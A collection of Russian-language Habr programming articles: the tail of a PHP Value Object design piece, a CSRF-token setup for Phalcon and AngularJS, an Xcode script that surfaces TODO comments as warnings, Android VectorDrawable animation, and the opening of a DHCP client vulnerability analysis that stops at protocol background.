$this->accountNumber = $accountNumber;
}
public function putMoney(float $amount, string $currency)
{
if ($amount <= 0) {
// throw exception
}
if ($currency !== $this->currency) {
//thow exception
}
$this->amount += $amount;
}
}
```
Мы можем отдельно вынести **AccountNumber**, переместив в него всю валидацию.
Код AccountNumber
```
class AccountNumer
{
const NUMBER_OF_CHARACTERS = 16;
private string $accountNumber;
public function __construct(string $accountNumber)
{
if (strlen($accountNumber) !== self::NUMBER_OF_CHARACTERS) {
// throw exception
}
// another rules
$this->accountNumber = $accountNumber;
}
public function __toString(): string
{
return $this->accountNumber;
}
}
```
Отдельно выделить Value Object **Money** который также может взять на себя операцию сложения для логики пополнения счета.
Код Money
```
class Currency extends SplEnum // Пока не 8.1
{
const __default = self::USD;
const USD = 'USD';
const EUR = 'EUR';
// etc.
}
class Money
{
private float $amount;
private string $currency;
public function __construct(float $amount, Currency $currency)
{
if ($amount <= 0) {
// throw exception
}
$this->amount = $amount;
$this->currency = $currency;
}
public function currency(): string
{
return $this->currency;
}
public function amount(): float
{
return $this->amount;
}
public function append(Money $money)
{
if ($money->currency() !== $this->currency) {
// throw exception
}
$amount = $this->amount + $money->amount();
return new self($amount, $this->currency);
}
}
```
Тогда наша **Entity** будет иметь примерно следующий вид:
```
class Account
{
private AccountNumer $accountNumber;
private Money $money;
public function __construct(AccountNumer $accountNumber)
{
$this->accountNumber = $accountNumber;
$this->money = new Money(0.00, 'USD');
}
public function putMoney(Money $money)
{
$this->money = $this->money->append($money);
}
}
```
Так как в основной сущности мы уже работаем с валидными **Value Objects**, то нет необходимости проверять что-то дополнительно внутри сущности, мы и так всё затайпхинтили.
Whole value concept (Quantity pattern)
--------------------------------------
Я часто вижу, что этому концепту уделяют мало внимания при проектировании Value Objects, потому решил отдельно на нём остановиться.
> Следует создавать и использовать объекты, которые имеют значение в рамках вашего бизнеса.
>
>
Идея простая. Представим, что у нас есть ***геопозиция***. Чтобы понять где именно находится точка нам нужна и ***широта*** и ***долгота***. Поскольку сами по себе "широта" или "долгота" не имеют смысла друг без друга, значит они должны находиться в одном месте, внутри одного объекта. Другими словами не нужно создавать отдельные VO, если сами по себе они ничего не значат, а только являются составляющей другого объекта.
Наш пример (**Money**). У нас есть сумма денег, которую нам нужно сложить с другой суммой. Чтобы принять решение можем ли мы сложить две amount, мы должны проверить currency. Поскольку currency напрямую влияет на логику вычислений, то оно должно находиться там-же, где и amount.
Это может быть что угодно, такие штуки как валюта, координаты, календарный период, номер телефона, расстояние, вес и т.д.
Eсли у нас есть данные которые влияют на логику - они должны быть частью состояния объекта где эта логика реализована. Да-да, вычисления (логика) также должны находиться внутри (например сложение/вычитание денег или вычисление расстояния в случае с гео).
Если же в объекте хранятся данные которые на логику реализованную в этом объекте никак не влияют - было бы неплохо эти данные оттуда вынести чтобы не мешали.
Это не значит, что нужно совсем перестать оборачивать в VO примитивные типы (строки, числа и т.д.). Это значит, что при проектировании стоит задумываться о целесообразности того или иного объекта в вашей предметной области.
### Не нужно создавать для Entity сервисы валидации
В доменном слое это усложнит вам жизнь. Вам придется делать бесконечные и ненужные геттеры внутри **Entity** (ведь для валидатора данные нужно будет как-то извлечь), следить за тем что нужно обновить сервис в случае изменения самой сущности и не забывать его вызвать каждый раз при её создании.
### Связь с другой сущностью
Отношения лучше выстраивать с помощью идентификаторов, а не по ссылкам на объект. Таким образом мы понижаем связанность *(Low Coupling)*, а также убираем возможность нежелательных изменений, которые могут происходить внутри связанной сущности.
Если в качестве связи с другой сущностью в метод или в конструктор мы передаём ID, то мы наверняка не можем быть уверены, что **Entity** с таким **ID** существует в рамках нашей системы, ведь на входе мы можем убедиться лишь в том, что **ID** соответствует определенному шаблону (например **UUID**).
Заключение
----------
Правильное проектирование валидации бизнес логики само по себе сильно упростит вам жизнь. Оперируйте в вашем приложении только полными, валидными и консистентными объектами.
В следующей части мы поговорим с вами о пользовательской валидации и подробнее разберём исключения.
Для самых нетерпеливых уже есть [короткая заметка в телеграм канале](https://t.me/beerphp/58) [Beer::PHP](https://t.me/joinchat/-KlDbLhFw-Q4NzEy). [Подписывайтесь](https://t.me/joinchat/-KlDbLhFw-Q4NzEy), чтобы получать информацию первыми.
Как по мне достаточно важный, хотя и холиварный вопрос. Эта статья аккумулирует в себе те практики, которые мне близки и которых я придерживаюсь в разработке. | https://habr.com/ru/post/566394/ | null | ru | null |
# Защита веб-приложения на Phalcon + AngularJS от CSRF атак
Привет всем! Не так давно столкнулся с проблемой защиты веб-приложения написанного на Phalcon PHP Framework вместе с AngularJS. Проблема заключалась в том что на странице есть несколько форм, которые посылают AJAX-запросы на сервер. Как подружить два фреймворка в вопросах безопасности, централизованного решения я не нашёл, пришлось его собирать по кусочкам из разных источников. И в этой статье я бы хотел предложить всем кто столкнулся, или столкнётся с такой проблемой, готовое рабочее решение.
#### Генерируем токен в meta-теге
К сожалению источника я сейчас не помню, но не раз замечал что между тегов частенько в meta лежали токены на крупных сайтах. Если вы посмотрите [документацию Phalcon](http://docs.phalconphp.com/ru/latest/reference/security.html), то увидите что генерация токена происходит в форме. Вот так по-умолчанию генерируется токен в форме:
```
```
А что делать если формы две? На форуме было решение, но оно было с использованием сторонней библиотеки, что в моём случае не было хорошим решением, поэтому ещё немного порыскав на форуме, я нашёл решение генерировать токен в meta-теге.
```
```
#### Крепим токен ко всем AJAX запросам
Прочитав документацию [AngularJS](https://docs.angularjs.org/api/ng/service/%24http) по работе с токенами, там предлагается передавать токен в заголовке с именем X-XSRF-TOKEN, но увы в Phalcon нужно было писать отдельную библиотеку для обработки таких токенов. У меня нет на это времени, я ленивый, поэтому пришлось найти другое более просто решение.
```
var app = angular.module('selfmd', [], function ($httpProvider)
{
$httpProvider.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded;charset=utf-8';
$httpProvider.defaults.transformRequest = [function (data) {
if (data === undefined) {
data = {};
}
var token = $('meta[name=token]');
data[token.attr('title')] = token.attr('content');
return angular.isObject(data) && String(data) !== '[object File]' ? param(data) : data;
}];
}
```
Помимо простоты, оно ещё и гибкое, ибо абсолютно все AJAX запросы, отправленные с помощью функции $http защищены токеном, который Phalcon легко и удобно воспринимает стандартными средствами.
```
if ($this->security->checkToken())
{
//Токен верный
}
```
#### Возможные проблемы и решения
1. Если человек захочет посмотреть исходный код страницы (не через firebug, а в отдельном окне), то при загрузке с генерируется новый токен, и вернувшись на страницу ни один запрос не будет обработан. Возможно это и хорошо, нечего лезть в исходный код.
2. Если вдруг на странице не будет favicon, или же будет пустой background-image: url(""); то браузер запрашивая эти данные, с генерирует незаметно для нас новый токен. Я дня два или три потратил на то чтобы найти причину отказа токену, и меньше всего я мог подозревать блок с пустым background-image: url("");
3. А как защитить формы без AJAX, и без $http? Очень просто!
В контроллере добавляем новые скоупы:
```
var token = $('meta[name=token]');
$scope.token_id = token.attr('title');
$scope.token_val = token.attr('content');
```
А в вьюхе выводим их в скрытом поле:
```
```
Теперь все формы защищены, Phalcon доволен привычным ему данным, и не задействует лишних библиотек, а Angular без проблем цепляем ко всем $http токен.
#### Послесловие
Я далеко не специалист по безопасности, я не гуру PHP, я просто решаю задачи, которые возникают когда я занимаюсь любимым делом. Я не нашёл такого же удобного и понятного решения, именно поэтому мне захотелось им поделится. Это решение я использую в реальном проекте, пока не было замечено проблем. Скорее всего вы в комментариях укажите мне на ошибки, и я буду вам благодарен. С Phalcon и AngularJS я работаю с августа этого года, до этого я работал с CodeIgniter и jQuery, поэтому сильно не судите за такое решение задачи, если оно оказалось не таким крутым, как мне казалось.
Спасибо за внимание. Если вам интересно почитать про Phalcon, подписывайтесь, у меня есть ещё несколько полезных решений проблем при работе с ним. | https://habr.com/ru/post/245467/ | null | ru | null |
# Как отметить свои TODO, FIXME и ERROR в Xcode
*Этот пост является вольным переводом статьи [How to highlight your TODOs, FIXMEs, & ERRORs in Xcode](http://krakendev.io/blog/generating-warnings-in-xcode) by [Hector Matos](http://krakendev.io/?author=5592eaffe4b08369d0205792)*
Это был самый обычный день: я писал код, устранял баги и вообще все было прекрасно. Именно тогда я написал блок кода, к которому нужно было вернуться позже. Это обычный случай, с которым вы тоже вероятно сталкивались: нужно было взаимодействовать с API который еще не был готов. Я знал общую структуру объекта, который получу по API, но я еще не мог протестировать работу с ним. Как и любой другой разработчик, я написал комментарий, который выглядит так:
В этот момент я хотел бы создать предупреждение в Xcode, такое же как мы привыкли делать в Objective-C с помощью директив компилятора:
Но увы, так не получилось и я загрустил.
Как человек действия, я сделал то, что и следовало: я действовал. [Оказывается](http://jeffreysambells.com/2013/01/31/generate-xcode-warnings-from-todo-comments) вы можете добавить run-скрипт, чтоб получить необходимый функционал.
### **RUN SCRIPT BUILD PHASES**
Xcode поддерживает внутренние bash-команды или скрипты в различных фазах вашего цикла разработки. Вы можете запустить bash-скрипт в любое время до или после сборки, запуска, тестирования, профилирования, анализа или даже архивирования!
Чтобы сделать это, перейдите в "Build Phases" своего проекта в Xcode, нажмите на "+" слева вверху и затем из выпадающего меню выберите "New Run Script Phase":
Затем вы увидите новый раздел в котором можете написать bash-скрипт. Если вы уже эксперт по написанию Swift-скриптов после прочтения поста [scripting in swift](http://krakendev.io/scripting-in-swift), вы можете просто положить файл со скриптом в корневой каталог проекта и вызвать его из своего нового run-скрипта.
**# Отмечаем ваши TODO, FIXME и ERROR с помощью "родных" предупреждений Xcode**
В тело вашего run-скрипта поместите вот этот замечательный код:
```
TAGS="TODO:|FIXME:"
find "${SRCROOT}" \( -name "*.h" -or -name "*.m" -or -name "*.swift" \) -print0 | xargs -0 egrep --with-filename --line-number --only-matching "($TAGS).*\$" | perl -p -e "s/($TAGS)/ warning: \$1/"
```
С этого момента вы будете видеть предупреждения когда поставите метку **TODO:** или **FIXME:** в комментарии! Посмотрите как работает эта магия:
Не будем останавливаться на достигнутом и исправим скрипт таким образом, чтобы подсвечивать ошибки используя **//ERROR:** в комментариях. Как вы знаете, бывают ситуации, когда мы хотим обратить особое внимание, выделив ошибку с помощью **//ERROR:**. Чтобы сделать это, измените ваш bash-скрипт вот так:
```
TAGS="TODO:|FIXME:"
ERRORTAG="ERROR:"
find "${SRCROOT}" \( -name "*.h" -or -name "*.m" -or -name "*.swift" \) -print0 | xargs -0 egrep --with-filename --line-number --only-matching "($TAGS).*\$|($ERRORTAG).*\$" | perl -p -e "s/($TAGS)/ warning: \$1/" | perl -p -e "s/($ERRORTAG)/ error: \$1/"
```
Не знаю как вы, но я, наверное — самый забывчивый человек в мире. В конце дня у меня не всегда закончен текущий фрагмент кода и мне нравится использовать **//ERROR:** чтобы напомнить самому себе над чем работать завтра.
Когда моя IDE выглядит **так**, я сразу чувствую, что необходимо закончить уже начатое. И не переживайте, ошибки генерируемые этим скриптом не препятствуют сборке проекта.
### **ЗАКЛЮЧЕНИЕ**
В своей повседневной работе вы всегда столкнетесь с блоком кода, к которому нужно будет вернуться позже, но сейчас вы вынуждены поставить "заплатку" и двигаться дальше. К сожалению, даже простого **//TODO:**, **//FIXME:** или **//ERROR:** в комментарии, просто недостаточно. Вы удивитесь сколько людей забывают о своих **//TODO:**, **//FIXME:** и **//ERROR:** в проекте. Использование run-скрипта в этой ситуации — отличный способ, чтобы убедиться, что не упустите ничего в своем цикле разработки. Надеюсь это поможет!
Счастливого кодинга, товарищи ботаники!
**П.С.** Из комментариев к оригинальному посту извлечена еще одна модификация скрипта, на случай если вам все-таки нужно препятствовать сборке проекта при наличии пометок **//ERROR:** в коде:
```
TAGS="TODO:|FIXME:"
ERRORTAG="ERROR:"
OUTPUT=$(find "${SRCROOT}" \( -name "*.h" -or -name "*.m" -or -name "*.swift" \) -print0 | xargs -0 egrep --with-filename --line-number --only-matching "($TAGS).*\$|($ERRORTAG).*\$" | perl -p -e "s/($TAGS)/ warning: \$1/" | perl -p -e "s/($ERRORTAG)/ error: \$1/")
ECHO "$OUTPUT"
if [[ $OUTPUT == *" error: "* ]]
then
exit 1
fi
``` | https://habr.com/ru/post/306612/ | null | ru | null |
# VectorDrawable — часть вторая
В [предыдущей статье](https://habrahabr.ru/post/301578/) мы рассмотрели, как преобразовать существующий svg-файл в VectorDrawable, который позволяет заменить много растровых изображений на одно, меньшее по размеру и более простое в обслуживании. Однако, это не все полезности, которые можно извлечь из VectorDrawable. Его можно анимировать. Это мы и рассмотрим в данной статье, заставив логотип андроид пожимать плечами.
Анимация, которую мы задумали — это простое движение по оси Y. Мы хотим перемещать голову и руки, но оставить неподвижным тело. На первый взгляд все это выглядит довольно сложно, потому что это все элементы одного Drawable. Но в Lollipop, вместе с VectorDravable был введен компонент, который очень сильно упрощает нам задачу. А именно — AnimatedVectorDrawable. В предыдущей статье мы дали каждому элементу path имя, и теперь можем применить анимацию для различный path в пределах VectorDrawable. На практике это оказалось немного затруднительно, потому что path не имеет таких атрибутов, как translateX и translateY, которые мы можем контролировать аниматором. Элемент group имеет необходимые нам атрибуты, поэтому мы обернули голову и руки в grope:
**res/drawable/android.xml**
```
xml version="1.0" encoding="utf-8"?
```
Теперь мы можем написать drawable с animated-vector, чтобы применить анимацию к нужным группам, нашего изображения:
**res/drawable/animated\_android.xml**
```
xml version="1.0" encoding="utf-8"?
```
Я знаю, что можно было объединить голову и руки в одну группу, но сознательно разделил на две, чтобы показать, как несколько групп можно анимировать при помощи одного animated-vector.
Родительский элемент "animated-vector" определяет VectorDrawable, который мы будем анимировать. А внутренние элементы target определяют тип анимации и группу, к которой будет применена данная анимация.
Существуют разные параметры, которые можно анимировать у различных элементов, таких как vector, group, clip-path и path. Поэтому нужно посмотреть [VectorDravable JavaDocs](http://developer.android.com/intl/ru/reference/android/graphics/drawable/VectorDrawable.html), чтобы узнать какие элементы использовать для конкретной анимации. Например, изменять параметр tint, необходимо у элемента vector, тогда как изменение цвета заливки нужно делать у параметра path.
Напишем простую анимацию изменения положения по Y для пожимания плечами нашего андроида:
**res/animator/shrug.xml**
```
xml version="1.0" encoding="utf-8"?
```
Для того чтобы запустить эту анимацию нам нужно сделать пару вещей. Для начала мы должны изменить Drawable, что мы установили на ImageView в нашем layout:
**res/layout/activity\_vector\_drawables.xml**
```
```
Если мы запустим приложение, то увидим статичное изображение, потому что анимацию необходимо запустить из activity:
**VectorDrawablesActivity.java**
```
public class VectorDrawablesActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_vector_drawables);
ImageView androidImageView = (ImageView) findViewById(R.id.android);
Drawable drawable = androidImageView.getDrawable();
if (drawable instanceof Animatable) {
((Animatable) drawable).start();
}
}
}
```
Если запустить приложение теперь, то мы увидим, что анимация работает и применяется только к нужным нам частям изображения:
В [следующей статье](https://habrahabr.ru/post/322024/) мы глубже изучим и рассмотрим некоторые действительно крутые методы анимации, которые можно сделать при помощи AnimatedVectorDrawable.
Исходный код для этой статьи доступен [здесь](https://bitbucket.org/StylingAndroid/vectordrawables/src/f4c31878fdfa3b9205bb58016c20c789e4dc426a/?at=Part2). | https://habr.com/ru/post/301610/ | null | ru | null |
# Грузовики и рефрижераторы в облаке
В этой статье хотим поделиться с вами историей создания базового прототипа шлюза и его переноса на облачную платформу [Microsoft Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_SCL_139068 https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069) с использованием модели Software as a Service (SaaS).
Для того, чтобы было понятно о чём ниже пойдёт речь — небольшая справка:
* **[Кварта Технологии](https://aka.ms/habr_319856_1)** — поставщик решений в области базовой ИТ-инфраструктуры и лидер российского ИТ-рынка в области полной информационной и технической поддержки технологий для встраиваемых систем на базе Microsoft Windows Embedded.
* **[ТехноКом](https://aka.ms/habr_319856_2)** работает в области разработки и производства систем ГЛОНАСС/GPS спутникового мониторинга транспорта, персонала, датчиков контроля топлива и программного обеспечения для любых компаний и отраслей транспорта, промышленности и сельского хозяйства. Самый известный продукт компании навигационные терминалы серии «АвтоГРАФ».
* **[iQFreeze](https://aka.ms/habr_319856_3)** — решение от Кварта Технологии, которое собирает, обрабатывает и передаёт информацию о состоянии груза и транспорта в реальном времени.
Создание базового прототипа шлюза
---------------------------------
Система АвтоГРАФ представляет собой классическое клиент-серверное приложение с возможностями доступа к данным и аналитике. Её текущая архитектура обуславливает высокую стоимость масштабирования. Именно поэтому ключевой идеей для совместной работы стала попытка переосмыслить архитектуру, приведя её к модели SaaS для решения проблем с масштабируемостью и создания инновационного предложения для рынка.
Перед началом проекта было очевидно, что проведение технологического взаимодействия в парадигме Интернета Вещей может стать весьма сложной задачей, так как включает в себя, помимо интеграции сервисов Azure в уже существующее ПО, ещё и вопросы, касающиеся получения данных с установленного на транспорте оборудования – терминалов спутникового мониторинга транспорта АвтоГРАФ (далее по тексту «терминалы СМТ»). И только соответствующая подготовка значительно упрощает задачу. Поэтому подготовка началась примерно за месяц до начала самого мероприятия. В результате были обсуждены несколько ключевых вопросов, которые приведены ниже с ответами на них.
**Запущена ли система в эксплуатацию? Какое состояние имеют устройства, что они умеют делать и что не умеют?**
На сегодня система работает несколько лет. Так как она была предназначена для использования с транспортом различных производителей/партнёров, есть различия в оборудовании. Почти все устройства похожи только в одном — изменение прошивки даже на небольшом их количестве не представляется возможным по причине их работы в продуктивной среде. По этой причине использование модели Field Gateway (размещение либо установка шлюза близко к устройствам) невозможно.
**Какой протокол используют устройства для связи с серверной частью?**
Бинарный протокол собственной разработки компании ТехноКом.
**Возможно ли создать новую версию серверной части, не нарушив происходящие процессы, и перенаправить их туда со старой версии?**
Сложно, но реально. Но так как подобный подход требует серьёзного и долгосрочного тестирования и разработки, было решено исключить его из данной итерации.
**Нужно ли управлять устройствами удалённо?**
Возможно, в будущем, но не сейчас.
В процессе планирования было решено расширить список задач в связи с добавлением к системе компонентов для обработки собираемых данных. Соответственно, текущая монолитная архитектура должна была быть разбита на модули. Был организован поступающий поток данных из АвтоГРАФа, поэтому вопросы, касающиеся эмуляции устройств, были закрыты.
Для хостинга шлюза, слушающего TCP-порт и передающего данные в подсистему обработки данных, был выбран облачный сервис [Microsoft Azure Cloud Services](https://aka.ms/habr_319856_4).
Для того, чтобы реализовать прототип у команды было 5 часов и 3 разработчика на 6 задач:
1. Оценить текущую архитектуру и переосмыслить её, используя PaaS.
2. Реализовать тестовый шлюз (консольное приложение) для проверки работы.
3. Оценить существующие опции для создания облачного шлюза (например, Azure IoT Gateway, Cloud Services и так далее).
4. Провести миграцию шлюза в облако.
5. Соединить шлюз с подсистемой обработки данных (то есть, написать код для этого).
6. Добавить в прототип возможности мониторинга с помощью Application Insights.
Изначально решили сосредоточиться на вопросе о том, как разбить монолитное приложение на компоненты.
#### Архитектура до
Старая архитектура представляла собой классическую двухзвенную архитектуру «Клиент — сервер», монолитное приложение, написанное на C++ и работающее в среде Windows Server. Его работа заключалась в том, чтобы принимать пакеты данных от мониторинговой системы, установленной на устройствах, сохранять эти пакеты в локальном хранилище и быть фронтендом для доступа к данным для внешних пользователей. Внутри приложения было несколько модулей: сетевой, хранения данных, расшифровки данных и работы с базой данных.
Данные между сервером и устройствами передавались по проприетарному бинарному TCP-протоколу. Для установки подключения клиент отсылает handshake-пакет, сервер должен был на него ответить пакетом подтверждения.
В своей работе приложение использовало набор системных вызовов Win32API. Данные хранятся в бинарной форме в виде файлов.
Проблема масштабирования подобной заключается в ограниченности способов реализации: увеличение ресурсов сервера/добавления нового и настройка балансировщика нагрузки и выполнения других задач.
#### Архитектура после
После применения новой архитектуры приложение потеряло свою актуальность, так как по сути, оно было шлюзом и выполняло несколько служебных задач (например, по сохранению данных без их изменения). В новой архитектуре всё это было заменено на сервисы [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_SCL_139068 https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069) (разработчики оценивали, какую опцию лучше выбрать: Azure IoT Gateway или написанный собственноручно шлюз; и выбрали второй вариант с хостингом в Azure Cloud Services).
Принципы функционирования новой системы аналогичны принципам работы старой, однако предоставляют дополнительные возможности по масштабированию (в том числе автоматическому) и снимают инфраструктурные задачи, например, по настройке балансировщика нагрузки. Несколько экземпляров (инстансов) Cloud Service со шлюзом прослушивают специальный порт, подключают устройства и передают данные в подсистему их обработки.
Перенос прототипа на облачную платформу Microsoft Azure с использованием модели Software as a Service (SaaS)
------------------------------------------------------------------------------------------------------------
Важно начинать с небольших шагов и не реализовывать всё сразу в облаке. Облако имеет свои преимущества и особенности, которые могут усложнить прототипирование (например, открытие портов, отладка удалённого проекта, развертывание и так далее). Поэтому в данном случае первый этап разработки заключался в создании локальной версии шлюза:
* Шлюз слушает TCP-порт и при получении handshake-пакета от устройства инициирует подключение.
* Шлюз отвечает ACK-пакетом и устанавливает подключение. При получении пакетов данных, согласно спецификации, эти пакеты раскладываются на готовый контент.
* Шлюз пересылает данные дальше.
В процессе создания прототипа возникла проблема — разработчики работали в офисе Microsoft, где сетевой периметр безопасности имеет определённое количество различного рода политик, что могло привести к усложнению прототипирования локального шлюза. Так как возможности изменять политики не было, команда воспользовалась [ngrok](https://ngrok.com/), который позволяет создать безопасный туннель на localhost.
Во время разработки было еще несколько вопросов, которые было решено проработать глубже — запись на локальное хранилище, получение адреса и портов инстанса, на котором работает шлюз. Так как в облаке множество переменных меняется динамически, эти вопросы было важно решить до перехода к следующему этапу.
#### Запись на локальное хранилище Cloud Service
Конечно, по сравнению с локальным хранением данных на инстансе, в [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_SCL_139068 https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069) есть лучшие способы хранения информации, однако старая архитектура подразумевала локальное хранение, поэтому необходимо было проверить возможна ли работа системы в этом режиме. По умолчанию, все, что работает в Cloud Service, не имеет доступа к файловой системе — то есть просто так взять и записать информацию в c:/temp не получится. Так как это PaaS, необходимо настроить специальное пространство под названием Local Storage в конфигурации облачного сервиса и установить флаг cleanOnRoleRecycle, который с определённой степенью уверенности гарантирует, что информация с локального хранилища не будет удалена при перезапуске роли. Ниже код, который был использован для решения данной задачи.
```
const string azureLocalResourceNameFromServiceDefinition = "LocalStorage1";
var azureLocalResource = RoleEnvironment.GetLocalResource(azureLocalResourceNameFromServiceDefinition);
var filepath = azureLocalResource.RootPath + "telemetry.txt";
Byte[] bytes = new Byte[514];
String data = null;
while (true)
{
TcpClient client = server.AcceptTcpClient();
data = null;
int i;
NetworkStream stream = client.GetStream();
while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
{
…
System.IO.File.AppendAllText(filepath, BitConverter.ToString(bytes));
…
}
client.Close();
}
```
После тестирования оказалось, что данные остаются в хранилище, поэтому это может стать неплохим способом для хранения временных данных.
#### Получение адреса и порта инстанса
Для того, чтобы в runtime получить данные, необходимо определить Endpoint внутри конфигурации облачного сервиса и обратиться к нему в коде.
```
IPEndPoint instEndpoint = RoleEnvironment.CurrentRoleInstance.InstanceEndpoints\["TCPEndpoint"\].IPEndpoint;
IPAddress localAddr = IPAddress.Parse(instEndpoint.Address.ToString());
TcpListener server = new TcpListener(localAddr, instEndpoint.Port);
```
Теперь автоматически настраиваемый балансировщик нагрузки будет управлять запросами между инстансами, разработчик же может масштабировать количество этих инстансов, при этом каждый инстанс будет получать необходимые данные в runtime.
Итак, локальный шлюз запущен и протестирован на Cloud Services (который можно эмулировать локально), теперь настала очередь развернуть проект в облако. Инструментарий Visual Studio позволяет делать это в несколько кликов.
Вопрос дальнейшей пересылки данных из инстанса шлюза был успешно закрыт использованием официальных сэмплов кода.
Выводы
------
При планировании команда беспокоилась о том, что одного дня будет недостаточно для того, чтобы разработать работающий прототип системы, особенно в условиях наличия разнообразных сред, устройств и требований (устаревшие устройства, протоколы, монолитное приложение на С++). Кое-что действительно не успели сделать, но базовый прототип был создан и работал.
Использование для такого рода задач модели PaaS является отличным способом:
* Быстрого прототипирования решения.
* Использования сервисов и настроек для того, чтобы сделать решение масштабируемым и гибким с самого начала.
За несколько часов удалось создать основу для разработки end-to-end решения в парадигме IoT с использованием реальных данных. В планах на будущее — использование машинного обучения для извлечения большей пользы из данных, миграция на новый протокол и тестирование решения на платформе Azure Service Fabric.
*Благодарим за участие в создании материала [Александра Белоцерковского](https://aka.ms/habr_319856_5) и команду Кварта Технологии.* | https://habr.com/ru/post/319856/ | null | ru | null |
# Безопасность DHCP в Windows 10: разбираем критическую уязвимость CVE-2019-0726
[](https://habr.com/ru/company/pt/blog/448378/)
*Изображение: [Pexels](https://www.pexels.com/photo/keyboard-green-51415/)*
С выходом январских обновлений для Windows новость о критически опасной уязвимости [CVE-2019-0547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0547) в DHCP-клиентах всколыхнула общественность. Подогревали интерес высокий рейтинг CVSS и тот факт, что Microsoft не сразу опубликовал оценку эксплуатабельности, усложнив тем самым пользователям решение о неотложном обновлении систем. Некоторые издания даже предположили, что отсутствие индекса можно интерпретировать как свидетельство о том, что уже в ближайшее время появится рабочий эксплойт.
Такие решения, как [MaxPatrol 8](https://www.ptsecurity.com/ru-ru/products/mp8/), умеют выявлять уязвимые для определенных атак компьютеры в сети. Другие решения, такие как PT NAD, обнаруживают сами подобные атаки. Чтобы это стало возможным, необходимо описывать как правила выявления уязвимостей в продуктах, так и правила обнаружения атак на эти продукты. В свою очередь, чтобы это стало возможным, необходимо для каждой отдельно взятой уязвимости выяснять вектор, способ и условия ее эксплуатации, то есть буквально все детали и нюансы, связанные с эксплуатацией. Требуется гораздо более полное и глубокое понимание, нежели то, которое обычно можно составить по описаниям на сайтах вендоров или в CVE, вроде:
> Уязвимость проявляется по той причине, что операционная система некорректно обрабатывает объекты в памяти.
Итак, чтобы добавить в продукты компании правила обнаружения атак на новоиспеченную уязвимость в DHCP, а также правила выявления устройств, ей подверженных, следовало разобраться в деталях. В случае бинарных уязвимостей для проникновения в суть лежащих в их основе ошибок часто используется patch-diff, то есть сравнение изменений, внесенных в бинарный код приложения, библиотеки или ядра операционной системы конкретным патчем, обновлением, исправляющим эту ошибку. Но первый этап — это всегда рекогносцировка.
**Примечание**: *Чтобы перейти непосредственно к описанию уязвимости, минуя лежащие в ее основе концепты DHCP, вы можете пропустить первые несколько страниц и обратиться сразу к разделу «Функция DecodeDomainSearchListData».*
Рекогносцировка
---------------
Обращаемся в поисковик и просматриваем все известные на данный момент детали уязвимости. На этот раз деталей минимум, и все они являются вольными переработками информации, почерпнутой из [оригинальной публикации](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0547) на сайте MSRC. Такая ситуация вполне типична для ошибок, обнаруженных специалистами Microsoft во время внутреннего аудита.
Из публикации выясняем, что перед нами уязвимость типа memory corruption, содержащаяся как в клиентских, так и в серверных системах Windows 10 version 1803 и проявляющаяся в тот момент, когда злоумышленник отправляет специальным образом сформированные ответы DHCP-клиенту. Спустя пару дней с того момента на странице появятся также и индексы эксплуатабельности:
Как видно, MSRC проставили оценку «2 — Exploitation Less Likely». Это значит, что ошибка с большой вероятностью либо неэксплуатабельна вовсе, либо эксплуатация сопряжена с такими сложностями, преодоление которых потребует чересчур высоких трудозатрат. Следует признать, что Microsoft не свойственно занижать такие оценки. Отчасти на это влияет риск репутационных потерь, отчасти — некоторая независимость центра реагирования в рамках компании. Поэтому предположим: раз в отчете угроза эксплуатации указана как маловероятная, наверняка так оно и есть. Собственно, на этом можно было бы завершить разбор, но не будет лишним перепроверить и хотя бы выяснить, в чем заключалась уязвимость. В конечном счете, несмотря на всю бесспорную индивидуальность, ошибки имеют свойство повторяться и проявлять себя в других местах.
С той же самой страницы скачиваем патч (security update), предоставляемый в виде .msu-архива, распаковываем его и ищем файлы, наиболее вероятно связанные с обработкой DHCP-ответов на клиентской стороне. В последнее время делать это стало гораздо сложнее, так как обновления стали поставляться не в виде отдельных пакетов, исправляющих конкретные ошибки, а в виде одного совокупного пакета, включающего все месячные исправления. Это сильно увеличило лишний шум, то есть не относящиеся к нашей задаче изменения.
Среди всего множества файлов поиск обнаруживает несколько подходящих под фильтр библиотек, которые мы сравниваем с их версиями на непропатченной системе. Библиотека dhcpcore.dll выглядит наиболее многообещающе. При этом [BinDiff](https://www.zynamics.com/bindiff.html) выдает минимальные изменения:
[](https://habrastorage.org/webt/tc/yy/_6/tcyy_626pd0d5qrth6g8irxyxra.png)
Собственно, отличные от косметических правки внесены в одну-единственную функцию — DecodeDomainSearchListData. Если вы хорошо знакомы с протоколом DHCP и его не слишком часто используемыми опциями, то уже можете предположить, что за список обрабатывает эта функция. Если же нет, то переходим ко второму этапу — изучению протокола.
DHCP и его опции
----------------
DHCP ([RFC 2131](https://tools.ietf.org/html/rfc2131) | [wiki](https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol)) — это расширяемый протокол, способность к пополнению возможностей которого обеспечивается полем options. Каждая опция описывается уникальным тегом (номером, идентификатором), размером, занимаемым данными, содержащимися в опции, и самими данными. Подобная практика типична для сетевых протоколов, и одной из таких «имплантированных» в протокол опций является Domain Search Option, описанная в [RFC 3397](https://tools.ietf.org/html/rfc3397). Она позволяет DHCP-серверу устанавливать на клиентах стандартные окончания доменных имен, которые будут использоваться в качестве DNS-суффиксов для настраиваемого таким образом соединения.
Пусть, для примера, на нашем клиенте были заданы следующие окончания имен:
```
.microsoft.com
.wikipedia.org
```
Тогда при любой попытке определить адрес по доменному имени в DNS-запросы будут подставляться по очереди суффиксы из этого списка до тех пор, пока не будет найдено успешное отображение. Например, если пользователь ввел ru в адресной строке браузера, то будут сформированы DNS-запросы сначала для ru.microsoft.com, затем для ru.wikipedia.org:
